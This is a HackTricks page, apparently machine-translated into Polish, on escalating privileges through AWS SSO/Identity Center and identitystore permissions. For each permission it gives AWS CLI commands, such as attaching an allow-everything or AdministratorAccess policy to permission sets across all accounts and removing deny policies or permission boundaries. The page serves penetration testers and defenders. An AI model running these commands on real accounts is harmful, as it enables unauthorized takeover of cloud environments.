AWS - SSO & identitystore Privesc

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Centrum tożsamości AWS / AWS SSO

Aby uzyskać więcej informacji na temat Centrum tożsamości AWS / AWS SSO, sprawdź:

pageAWS - IAM, Identity Center & SSO Enum

Zauważ, że domyślnie tylko użytkownicy z uprawnieniami z Konta Zarządzającego będą mogli uzyskać dostęp i kontrolować Centrum Tożsamości IAM. Użytkownicy z innych kont mogą to zrobić tylko jeśli konto jest Administrator Delegowany. Sprawdź dokumentację, aby uzyskać więcej informacji.

Zresetuj hasło

Łatwym sposobem eskalacji uprawnień w przypadkach takich jak ten byłoby posiadanie uprawnienia umożliwiającego zresetowanie hasła użytkowników. Niestety możliwe jest tylko wysłanie e-maila do użytkownika w celu zresetowania hasła, dlatego potrzebny jest dostęp do skrzynki e-mail użytkownika.

identitystore:CreateGroupMembership

Dzięki temu uprawnieniu możliwe jest umieszczenie użytkownika w grupie, dzięki czemu odziedziczy on wszystkie uprawnienia przypisane do grupy.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Atakujący posiadający te uprawnienia mógłby nadać dodatkowe uprawnienia do zestawu uprawnień, który jest przyznany użytkownikowi pod jego kontrolą

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Atakujący posiadający te uprawnienia mógłby nadać dodatkowe uprawnienia do zestawu uprawnień, który jest nadany użytkownikowi pod jego kontrolą.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Atakujący posiadający te uprawnienia mógłby nadać dodatkowe uprawnienia do zestawu uprawnień, który jest nadany użytkownikowi pod jego kontrolą.

Aby wykorzystać te uprawnienia w tym przypadku, musisz znać nazwę zarządzanej przez klienta polityki, która znajduje się WE WSZYSTKICH kontach, które zostaną dotknięte.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Atakujący posiadający to uprawnienie mógłby przypisać zestaw uprawnień do użytkownika pod swoją kontrolą do konta.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Zwraca krótkoterminowe poświadczenia STS dla określonej nazwy roli przypisanej do użytkownika.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Jednak potrzebujesz tokenu dostępu, którego nie jestem pewien, jak go uzyskać (TODO).

sso:DetachManagedPolicyFromPermissionSet

Atakujący posiadający to uprawnienie może usunąć powiązanie między zarządzaną polityką AWS a określonym zestawem uprawnień. Istnieje możliwość przyznania większych uprawnień poprzez odłączenie zarządzanej polityki (polityka odmowy).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Atakujący posiadający to uprawnienie może usunąć powiązanie między zarządzaną przez klienta polityką a określonym zestawem uprawnień. Istnieje możliwość przyznania większych uprawnień poprzez odłączenie zarządzanej polityki (polityka odmowy).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Atakujący posiadający to uprawnienie może usunąć uprawnienia z wewnętrznej polityki z zestawu uprawnień. Istnieje możliwość przyznania więcej uprawnień poprzez odczepienie wewnętrznej polityki (polityka odmowy).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Atakujący posiadający tę uprawnienie może usunąć Granicę Uprawnień z zestawu uprawnień. Istnieje możliwość przyznania więcej uprawnień poprzez usunięcie ograniczeń na Zestawie Uprawnień nadanych z Granicy Uprawnień.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated